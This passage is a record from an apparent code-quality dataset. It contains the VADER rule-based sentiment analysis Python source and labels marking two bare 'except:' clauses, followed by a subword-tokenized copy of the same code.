a float for sentiment strength based on the input text.\n Positive values are positive valence, negative value are negative valence.\n \"\"\"\n if not isinstance(text, unicode) and not isinstance(text, str):\n text = str(text)\n\n wordsAndEmoticons = text.split() #doesn't separate words from adjacent punctuation (keeps emoticons & contractions)\n text_mod = REGEX_REMOVE_PUNCTUATION.sub('', text) # removes punctuation (but loses emoticons & contractions)\n wordsOnly = text_mod.split()\n # get rid of empty items or single letter \"words\" like 'a' and 'I' from wordsOnly\n for word in wordsOnly:\n if len(word) <= 1:\n wordsOnly.remove(word) \n # now remove adjacent & redundant punctuation from [wordsAndEmoticons] while keeping emoticons and contractions\n\n for word in wordsOnly:\n for p in PUNC_LIST:\n pword = p + word\n x1 = wordsAndEmoticons.count(pword)\n while x1 > 0:\n i = wordsAndEmoticons.index(pword)\n wordsAndEmoticons.remove(pword)\n wordsAndEmoticons.insert(i, word)\n x1 = wordsAndEmoticons.count(pword)\n \n wordp = word + p\n x2 = wordsAndEmoticons.count(wordp)\n while x2 > 0:\n i = wordsAndEmoticons.index(wordp)\n wordsAndEmoticons.remove(wordp)\n wordsAndEmoticons.insert(i, word)\n x2 = wordsAndEmoticons.count(wordp)\n\n # get rid of residual empty items or single letter \"words\" like 'a' and 'I' from wordsAndEmoticons\n for word in wordsAndEmoticons:\n if len(word) <= 1:\n wordsAndEmoticons.remove(word)\n \n # remove stopwords from [wordsAndEmoticons]\n #stopwords = [str(word).strip() for word in open('stopwords.txt')]\n #for word in wordsAndEmoticons:\n # if word in stopwords:\n # wordsAndEmoticons.remove(word)\n \n # check for negation\n\n isCap_diff = isALLCAP_differential(wordsAndEmoticons)\n\n sentiments = []\n for item in wordsAndEmoticons:\n v = 0\n i = wordsAndEmoticons.index(item)\n if (i < len(wordsAndEmoticons)-1 and item.lower() == \"kind\" and \\\n wordsAndEmoticons[i+1].lower() == \"of\") or item.lower() in BOOSTER_DICT:\n sentiments.append(v)\n continue\n item_lowercase = item.lower()\n if item_lowercase in WORD_VALENCE_DICT:\n #get the sentiment valence\n v = float(WORD_VALENCE_DICT[item_lowercase])\n \n #check if sentiment laden word is in ALLCAPS (while others aren't)\n \n if item.isupper() and isCap_diff:\n if v > 0: v += c_INCR\n else: v -= c_INCR\n\n\n n_scalar = -0.74\n if i > 0 and wordsAndEmoticons[i-1].lower() not in WORD_VALENCE_DICT:\n s1 = scalar_inc_dec(wordsAndEmoticons[i-1], v,isCap_diff)\n v = v+s1\n if negated([wordsAndEmoticons[i-1]]): v = v*n_scalar\n if i > 1 and wordsAndEmoticons[i-2].lower() not in WORD_VALENCE_DICT:\n s2 = scalar_inc_dec(wordsAndEmoticons[i-2], v,isCap_diff)\n if s2 != 0: s2 = s2*0.95\n v = v+s2\n # check for special use of 'never' as valence modifier instead of negation\n if wordsAndEmoticons[i-2] == \"never\" and (wordsAndEmoticons[i-1] == \"so\" or wordsAndEmoticons[i-1] == \"this\"): \n v = v*1.5 \n # otherwise, check for negation/nullification\n elif negated([wordsAndEmoticons[i-2]]): v = v*n_scalar\n if i > 2 and wordsAndEmoticons[i-3].lower() not in WORD_VALENCE_DICT:\n s3 = scalar_inc_dec(wordsAndEmoticons[i-3], v,isCap_diff)\n if s3 != 0: s3 = s3*0.9\n v = v+s3\n # check for special use of 'never' as valence modifier instead of negation\n if wordsAndEmoticons[i-3] == \"never\" and \\\n (wordsAndEmoticons[i-2] == \"so\" or wordsAndEmoticons[i-2] == \"this\") or \\\n (wordsAndEmoticons[i-1] == \"so\" or wordsAndEmoticons[i-1] == \"this\"):\n v = v*1.25\n # otherwise, check for negation/nullification\n elif negated([wordsAndEmoticons[i-3]]): v = v*n_scalar\n \n\n # future work: consider other sentiment-laden idioms\n #other_idioms = {\"back handed\": -2, \"blow smoke\": -2, \"blowing smoke\": -2, \"upper hand\": 1, \"break a leg\": 2, \n # \"cooking with gas\": 2, \"in the black\": 2, \"in the red\": -2, \"on the ball\": 2,\"under the weather\": -2}\n \n onezero = u\"{} {}\".format(wordsAndEmoticons[i-1], wordsAndEmoticons[i])\n twoonezero = u\"{} {} {}\".format(wordsAndEmoticons[i-2], wordsAndEmoticons[i-1], wordsAndEmoticons[i])\n twoone = u\"{} {}\".format(wordsAndEmoticons[i-2], wordsAndEmoticons[i-1])\n threetwoone = u\"{} {} {}\".format(wordsAndEmoticons[i-3], wordsAndEmoticons[i-2], wordsAndEmoticons[i-1])\n threetwo = u\"{} {}\".format(wordsAndEmoticons[i-3], wordsAndEmoticons[i-2])\n if onezero in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[onezero]\n elif twoonezero in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[twoonezero]\n elif twoone in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[twoone]\n elif threetwoone in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[threetwoone]\n elif threetwo in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[threetwo]\n if len(wordsAndEmoticons)-1 > i:\n zeroone = u\"{} {}\".format(wordsAndEmoticons[i], wordsAndEmoticons[i+1])\n if zeroone in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[zeroone]\n if len(wordsAndEmoticons)-1 > i+1:\n zeroonetwo = u\"{} {}\".format(wordsAndEmoticons[i], wordsAndEmoticons[i+1], wordsAndEmoticons[i+2])\n if zeroonetwo in SPECIAL_CASE_IDIOMS:\n v = SPECIAL_CASE_IDIOMS[zeroonetwo]\n \n # check for booster/dampener bi-grams such as 'sort of' or 'kind of'\n if threetwo in BOOSTER_DICT or twoone in BOOSTER_DICT:\n v = v+B_DECR\n \n # check for negation case using \"least\"\n if i > 1 and wordsAndEmoticons[i-1].lower() not in WORD_VALENCE_DICT \\\n and wordsAndEmoticons[i-1].lower() == \"least\":\n if (wordsAndEmoticons[i-2].lower() != \"at\" and wordsAndEmoticons[i-2].lower() != \"very\"):\n v = v*n_scalar\n elif i > 0 and wordsAndEmoticons[i-1].lower() not in WORD_VALENCE_DICT \\\n and wordsAndEmoticons[i-1].lower() == \"least\":\n v = v*n_scalar\n sentiments.append(v) \n \n # check for modification in sentiment due to contrastive conjunction 'but'\n if 'but' in wordsAndEmoticons or 'BUT' in wordsAndEmoticons:\n try: bi = wordsAndEmoticons.index('but')\n except: bi = wordsAndEmoticons.index('BUT')\n for s in sentiments:\n si = sentiments.index(s)\n if si < bi: \n sentiments.pop(si)\n sentiments.insert(si, s*0.5)\n elif si > bi: \n sentiments.pop(si)\n sentiments.insert(si, s*1.5) \n \n if sentiments: \n sum_s = float(sum(sentiments))\n #print sentiments, sum_s\n \n # check for added emphasis resulting from exclamation points (up to 4 of them)\n ep_count = text.count(\"!\")\n if ep_count > 4: ep_count = 4\n ep_amplifier = ep_count*0.292 #(empirically derived mean sentiment intensity rating increase for exclamation points)\n if sum_s > 0: sum_s += ep_amplifier\n elif sum_s < 0: sum_s -= ep_amplifier\n \n # check for added emphasis resulting from question marks (2 or 3+)\n qm_count = text.count(\"?\")\n qm_amplifier = 0\n if qm_count > 1:\n if qm_count <= 3: qm_amplifier = qm_count*0.18\n else: qm_amplifier = 0.96\n if sum_s > 0: sum_s += qm_amplifier\n elif sum_s < 0: sum_s -= qm_amplifier\n\n compound = normalize(sum_s)\n \n # want separate positive versus negative sentiment scores\n pos_sum = 0.0\n neg_sum = 0.0\n neu_count = 0\n for sentiment_score in sentiments:\n if sentiment_score > 0:\n pos_sum += (float(sentiment_score) +1) # compensates for neutral words that are counted as 1\n if sentiment_score < 0:\n neg_sum += (float(sentiment_score) -1) # when used with math.fabs(), compensates for neutrals\n if sentiment_score == 0:\n neu_count += 1\n \n if pos_sum > math.fabs(neg_sum): pos_sum += (ep_amplifier+qm_amplifier)\n elif pos_sum < math.fabs(neg_sum): neg_sum -= (ep_amplifier+qm_amplifier)\n \n total = pos_sum + math.fabs(neg_sum) + neu_count\n pos = math.fabs(pos_sum / total)\n neg = math.fabs(neg_sum / total)\n neu = math.fabs(neu_count / total)\n \n else:\n compound = 0.0; pos = 0.0; neg = 0.0; neu = 0.0\n \n s = {\"neg\" : round(neg, 3), \n \"neu\" : round(neu, 3),\n \"pos\" : round(pos, 3),\n \"compound\" : round(compound, 4)}\n return s", "metadata": "root.sentiment", "header": "['module', '___EOS___']", "index": 126 } ]
[ { "span": "except:", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 7 }, { "span": "except: ", "start_line": 268, "start_column": 8, "end_line": 268, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "codi", "ng", ":", " ", "utf", "-", "8", " _", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", "Creat", "ed", " ", "on", " ", "Ju", "ly", " ", "04", ",", " ", "2013", "\\", "10", ";", "@", "author", ":", " ", "C", ".", "J", ".", " ", "Hu", "tto", "\\", "10", ";", "\\", "10", ";", "Citation", " ", "Information", "\\", "10", ";", "\\", "10", ";", "If", " ", "you", " ", "use", " ", "any", " ", "of", " ", "the", " ", "VA", "DER", " ", "sentiment", " ", "analys", "is", " ", "tool", "s", " ", "\\", "10", ";", "(", "VA", "DER", " ", "sentiment", " ", "lexicon", " ", "or", " ", "Pyth", "on", " ", "code", " ", "for", " ", "rule", "-", "based", " ", "sentiment", " ", "\\", "10", ";", "analys", "is", " ", "eng", "ine", ")", " ", "in", " ", "your", " ", "work", " ", "or", " ", "research", ",", " ", "plea", "se", " ", "cite", " ", "the", " ", "pape", "r", ".", " ", "\\", "10", ";", "For", " ", "example", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", "Hu", "tto", ",", " ", "C", ".", "J", ".", " ", "&", " ", "Gi", "lb", "ert", ",", " ", "E", ".", "E", ".", " ", "(", "2014", ").", " ", "VA", "DER", ":", " ", "A", " ", "Pars", "imo", "nio", "us", " ", "Rule", "-", "based", " ", "Model", " ", "for", " ", "\\", "10", ";", " ", " ", "Senti", "ment", " ", "Analy", "sis", " ", "of", " ", "Soci", "al", " ", "Media", " ", "Text", ".", " ", "Eig", "ht", "h", " ", "Intern", "ation", "al", " ", "Conference", " ", "on", " ", "\\", "10", ";", " ", " ", "Web", "logs", " ", "and", " ", "Soci", "al", " ", "Media", " ", "(", "IC", "WS", "M", "-1", "4", ").", " ", "Ann", " ", "Ar", "bor", ",", " ", "MI", ",", " ", "Jun", "e", " ", "2014", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", ",_", "math_", ",_", "re_", ",_", "sys_", ",_", "fnmatch_", ",_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reload_", "(_", "sys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "=_", "'", "vad", "er", "\\u", "sentiment", "\\u", "lexicon", ".", "txt", "'_", "#", " ", "empir", "ical", "ly", " ", "derive", "d", " ", "valence", " ", "rati", "ngs", " ", "for", " ", "words", ",", " ", "emot", "icons", ",", " ", "sla", "ng", ",", " ", "swe", "ar", " ", "words", ",", " ", "acronym", "s", "/", "initiali", "sms_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", "=_", "make", "\\u", "lex", "\\u", "dict_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "'", "vad", "er", "\\u", "sentiment", "\\u", "lexicon", ".", "txt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "WORD", "\\u", "VAL", "ENCE", "\\u", "DICT_", "=_", "make", "\\u", "lex", "\\u", "dict_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", "CONSTANT", "S", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#(", "empir", "ical", "ly", " ", "derive", "d", " ", "mean", " ", "sentiment", " ", "intensity", " ", "rati", "ng", " ", "increase", " ", "for", " ", "boost", "er", " ", "words", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "B", "\\u", "INC", "R_", "=_", "0.29", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "B", "\\u", "DEC", "R_", "=_", "-_", "0.29", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#(", "empir", "ical", "ly", " ", "derive", "d", " ", "mean", " ", "sentiment", " ", "intensity", " ", "rati", "ng", " ", "increase", " ", "for", " ", "usi", "ng", " ", "ALL", "CAP", "s", " ", "to", " ", "empha", "size", " ", "a", " ", "word", ")_", "\\u\\u\\uNL\\u\\u\\u_", "c\\u", "INC", "R_", "=_", "0.73", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "remo", "ving", " ", "punctuation_", "\\u\\u\\uNL\\u\\u\\u_", "REGEX", "\\u", "REMOVE", "\\u", "PUN", "CTU", "ATION_", "=_", "re_", "._", "compile_", "(_", "'[", "%", "s", "]'_", "%_", "re_", "._", "escape_", "(_", "string_", "._", "punctuation_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PUN", "C", "\\u", "LIST_", "=_", "[_", "\".\"_", ",_", "\"!\"_", ",_", "\"?\"_", ",_", "\",\"_", ",_", "\";\"_", ",_", "\":\"_", ",_", "\"-\"_", ",_", "\"'\"_", ",_", "\"\\\\\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"!!", "\"_", ",_", "\"!!", "!\"_", ",_", "\"?", "?\"_", ",_", "\"?", "??", "\"_", ",_", "\"?", "!", "?\"_", ",_", "\"!", "?!", "\"_", ",_", "\"?", "!", "?!", "\"_", ",_", "\"!", "?!", "?\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "NEGAT", "E_", "=_", "[_", "\"", "aint", "\"_", ",_", "\"", "arent", "\"_", ",_", "\"", "cann", "ot", "\"_", ",_", "\"", "cant", "\"_", ",_", "\"", "coul", "dn", "t", "\"_", ",_", "\"", "dar", "ent", "\"_", ",_", "\"", "did", "nt", "\"_", ",_", "\"", "doesnt", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "ain", "'", "t", "\"_", ",_", "\"", "are", "n", "'", "t", "\"_", ",_", "\"", "can", "'", "t", "\"_", ",_", "\"", "coul", "dn", "'", "t", "\"_", ",_", "\"", "dar", "en", "'", "t", "\"_", ",_", "\"", "did", "n", "'", "t", "\"_", ",_", "\"", "doe", "sn", "'", "t", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "don", "t", "\"_", ",_", "\"", "had", "nt", "\"_", ",_", "\"", "hasn", "t", "\"_", ",_", "\"", "have", "nt", "\"_", ",_", "\"", "isn", "t", "\"_", ",_", "\"", "mig", "ht", "nt", "\"_", ",_", "\"", "must", "nt", "\"_", ",_", "\"", "nei", "ther", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "don", "'", "t", "\"_", ",_", "\"", "had", "n", "'", "t", "\"_", ",_", "\"", "hasn", "'", "t", "\"_", ",_", "\"", "have", "n", "'", "t", "\"_", ",_", "\"", "isn", "'", "t", "\"_", ",_", "\"", "mig", "ht", "n", "'", "t", "\"_", ",_", "\"", "must", "n", "'", "t", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "need", "nt", "\"_", ",_", "\"", "need", "n", "'", "t", "\"_", ",_", "\"", "neve", "r", "\"_", ",_", "\"", "none", "\"_", ",_", "\"", "nop", "e", "\"_", ",_", "\"", "nor", "\"_", ",_", "\"", "not", "\"_", ",_", "\"", "not", "hing", "\"_", ",_", "\"", "now", "here", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "ou", "ght", "nt", "\"_", ",_", "\"", "shan", "t", "\"_", ",_", "\"", "shou", "ld", "nt", "\"_", ",_", "\"", "uh", "uh", "\"_", ",_", "\"", "was", "nt", "\"_", ",_", "\"", "wer", "ent", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "ou", "ght", "n", "'", "t", "\"_", ",_", "\"", "shan", "'", "t", "\"_", ",_", "\"", "shou", "ld", "n", "'", "t", "\"_", ",_", "\"", "uh", "-", "uh", "\"_", ",_", "\"", "was", "n", "'", "t", "\"_", ",_", "\"", "wer", "en", "'", "t", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "with", "out", "\"_", ",_", "\"", "won", "t", "\"_", ",_", "\"", "wou", "ld", "nt", "\"_", ",_", "\"", "won", "'", "t", "\"_", ",_", "\"", "wou", "ld", "n", "'", "t", "\"_", ",_", "\"", "rare", "ly", "\"_", ",_", "\"", "sel", "dom", "\"_", ",_", "\"", "desp", "ite", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "boost", "er", "/", "dam", "pene", "r", " ", "'", "inten", "sif", "iers", "'", " ", "or", " ", "'", "degr", "ee", " ", "adver", "bs", "'", " ", "http", "://", "en", ".", "wik", "tion", "ary", ".", "org", "/", "wiki", "/", "Cate", "gory", ":", "Eng", "lish", "\\u", "degr", "ee", "\\u", "adver", "bs_", "\\u\\u\\uNL\\u\\u\\u_", "BOO", "STE", "R", "\\u", "DICT_", "=_", "{_", "\"", "abs", "olute", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "amaz", "ingl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "aw", "full", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "complete", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "consider", "abl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "decide", "dl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "deep", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "eff", "ing", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "eno", "rmo", "usl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "entire", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "especial", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "exception", "ally", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "extreme", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "fab", "ulo", "usl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "flip", "ping", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "flip", "pin", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "fri", "ck", "ing", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "fri", "ck", "in", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "fri", "ggi", "ng", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "fri", "ggi", "n", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "full", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "fuck", "ing", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "great", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "hell", "a", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "highl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "huge", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "incr", "edi", "bly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "inten", "sel", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "major", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "more", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "most", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "partic", "ular", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pure", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "quite", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "reall", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "remark", "abl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "so", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "substa", "nti", "ally", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "thor", "ou", "gh", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "total", "ly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "tre", "mend", "ously", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "uber", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "unb", "eli", "eva", "bly", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "unu", "sua", "ll", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\"", "utt", "erl", "y", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "very", "\"_", ":_", "B", "\\u", "INC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "alm", "ost", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "bare", "ly", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "hard", "ly", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "just", " ", "eno", "ugh", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "kind", " ", "of", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "kind", "a", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "kind", "of", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "kind", "-", "of", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "less", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "litt", "le", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "marginal", "ly", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "occ", "asi", "onal", "ly", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "part", "ly", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "scar", "cel", "y", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "slight", "ly", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "some", "what", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "sort", " ", "of", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "sort", "a", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "sort", "of", "\"_", ":_", "B", "\\u", "DEC", "R_", ",_", "\"", "sort", "-", "of", "\"_", ":_", "B", "\\u", "DEC", "R_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "special", " ", "case", " ", "idiom", "s", " ", "usi", "ng", " ", "a", " ", "sentiment", "-", "lad", "en", " ", "keyw", "ord", " ", "know", "n", " ", "to", " ", "SA", "GE_", "\\u\\u\\uNL\\u\\u\\u_", "SPECIAL", "\\u", "CASE", "\\u", "IDI", "OM", "S_", "=_", "{_", "\"", "the", " ", "shi", "t", "\"_", ":_", "3_", ",_", "\"", "the", " ", "bomb", "\"_", ":_", "3_", ",_", "\"", "bad", " ", "ass", "\"_", ":_", "1.5_", ",_", "\"", "ye", "ah", " ", "right", "\"_", ":_", "-_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "cut", " ", "the", " ", "must", "ard", "\"_", ":_", "2_", ",_", "\"", "kis", "s", " ", "of", " ", "death", "\"_", ":_", "-_", "1.5_", ",_", "\"", "hand", " ", "to", " ", "mouth", "\"_", ":_", "-_", "2_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "check", " ", "if", " ", "the", " ", "preceding", " ", "words", " ", "increase", ",", " ", "decrease", ",", " ", "or", " ", "negate", "/", "null", "if", "y", " ", "the", " ", "valence", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "---", " ", "example", "s", " ", "-------", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sentences_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "VA", "DER", " ", "is", " ", "smart", ",", " ", "hands", "ome", ",", " ", "and", " ", "funn", "y", ".\"_", ",_", "#", " ", "posit", "ive", " ", "sentence", " ", "example_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "VA", "DER", " ", "is", " ", "smart", ",", " ", "hands", "ome", ",", " ", "and", " ", "funn", "y", "!\"_", ",_", "#", " ", "punct", "uation", " ", "empha", "sis", " ", "handle", "d", " ", "correct", "ly", " ", "(", "sentiment", " ", "intensity", " ", "adjusted", ")_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "VA", "DER", " ", "is", " ", "very", " ", "smart", ",", " ", "hands", "ome", ",", " ", "and", " ", "funn", "y", ".\"_", ",_", "#", " ", "boost", "er", " ", "words", " ", "handle", "d", " ", "correct", "ly", " ", "(", "sentiment", " ", "intensity", " ", "adjusted", ")_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "VA", "DER", " ", "is", " ", "VERY", " ", "SMA", "RT", ",", " ", "hands", "ome", ",", " ", "and", " ", "FU", "NN", "Y", ".\"_", ",_", "#", " ", "empha", "sis", " ", "for", " ", "ALL", "CAPS", " ", "handled_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "VA", "DER", " ", "is", " ", "VERY", " ", "SMA", "RT", ",", " ", "hands", "ome", ",", " ", "and", " ", "FU", "NN", "Y", "!!!", "\"_", ",_", "#", " ", "combinat", "ion", " ", "of", " ", "signal", "s", " ", "-", " ", "VA", "DER", " ", "appropr", "iate", "ly", " ", "adjust", "s", " ", "intensity_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "VA", "DER", " ", "is", " ", "VERY", " ", "SMA", "RT", ",", " ", "reall", "y", " ", "hands", "ome", ",", " ", "and", " ", "INC", "RED", "IB", "LY", " ", "FU", "NN", "Y", "!!!", "\"_", ",_", "#", " ", "boost", "er", " ", "words", " ", "&", " ", "punct", "uation", " ", "make", " ", "this", " ", "close", " ", "to", " ", "ceil", "ing", " ", "for", " ", "score_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "The", " ", "book", " ", "was", " ", "good", ".\"_", ",_", "#", " ", "posit", "ive", " ", "sentence_", "\\u\\u\\uNL\\u\\u\\u_", "u", "\"", "The", " ", "book", " ", "was", " ", "kind", " ", "of", " ", "good", ".\"_", ",_", "#", " ", "qualified", " ", "posit", "ive", " ", "sentence", " ", "is", " ", "handle", "d", " ", "correct", "ly", " ", "(", "intensity", " ", "adjusted", 